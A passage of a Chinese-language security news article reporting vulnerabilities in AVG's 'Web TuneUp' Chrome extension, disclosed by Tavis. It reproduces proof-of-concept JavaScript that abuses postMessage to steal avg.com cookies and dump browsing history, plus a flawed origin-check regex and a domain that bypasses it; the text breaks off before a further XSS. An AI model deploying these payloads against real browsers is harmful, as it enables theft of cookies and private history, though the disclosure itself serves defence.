谷歌瀏覽器插件曝多個高危漏洞,影響900萬用戶
這個插件添加了很多的api用來操作谷歌瀏覽器,比如可以輕易的劫持搜索框和新標簽頁。而由于其安裝過程十分復雜,所以能夠逃避谷歌惡意軟件的檢查,特別是能夠逃避谷歌瀏覽器“阻止濫用擴展的API”的檢查。
事實上其中的很多api是有問題的,攻擊者可以通過構造payload成功盜取用戶在avg.com上的cookie,還可以獲取用戶的瀏覽記錄以及其他的私人數據,甚至有可能成功實施任意命令執行。
攻擊手法
Tavis在給廠商的郵件中列舉了幾種攻擊手法:"navigate" API 將會導致一個通用的跨域xss漏洞,attacker.com可以跨域讀取訪問者的mail.google.com的郵件或者是來自于其他網站的數據。
- <script>
- for (i = 0; i < 256; i++) {
- window.postMessage({ origin: "web", action: "navigate", data: {
- url: "javascript:document.location.hostname.endsWith('.avg.com')"
- + "?"
- + "alert(document.domain + ':' +document.cookie)"
- + ":"
- + "false",
- tabID: i
- }}, "*");
- }
- </script>
以上代碼為Tavis給的poc
通過 window.postMessage(允許跨域通信的javascript api) 不間斷的向 AVG: "Web TuneUP”插件發起請求,請求的數據為:
- { origin: "web", action: "navigate", data: {url:"javascript:document.location.hostname.endsWith('.avg.com')"+ "?"+ "alert(document.domain + ':' +document.cookie)"+ ":"+ "false",tabID: i}}
當用戶的標簽頁在訪問avg.com網站時,將爆破以.avg.com結尾的網站的當前域名和cookie值。"recently" api將會泄露當前用戶的瀏覽記錄
- <script>
- window.addEventListener("message", receiveMessage, false);
- window.postMessage({ from: "web", to: "content", method: "recently" }, "*")
- function receiveMessage(event)
- {
- if (event.data != undefined && event.data.historyItems != undefined) {
- var obj = JSON.parse(event.data.historyItems);
- document.write("Here is a list of websites you've been visiting");
- document.write("<br>");
- for (i in obj) {
- var d = new Date(obj[i]);
- document.write("<a href=" + i + ">" + i + "</a> on " + d);
- document.write("<br>");
- }
- }
- }
- </script>
以上代碼為Tavis給的poc
通過window.postMessage向插件的"recently"API發起請求獲取當前用戶的瀏覽記錄,本地監聽事件來獲取返回的數據,然后輸出數據。
隨后廠商對此進行了修復,但是由于修復的不對,又被Tavis繞過了。修復的代碼中增加了判斷
- var match = event.origin.match(/https?:\/\/.*\.avg\.com/i);
- if (match ! null {
- ...
- }
判斷來源是不是包含".avg.com",但是這個很容易被繞過。比如https://www.avg.com.www.attacker.com這個域名就能繞過這個限定,繼續實施上面提到的兩個攻擊。又會因為上面的對協議的判斷是既支持http又支持https,于是又產生了“中間人攻擊”這個問題。
廠商對此又進行了修復,這次限制了域名必須為"mysearch.avg.com"和"webtuneup.avg.com" 。但通過下面這個xss,他又可以對用戶數據進行竊取: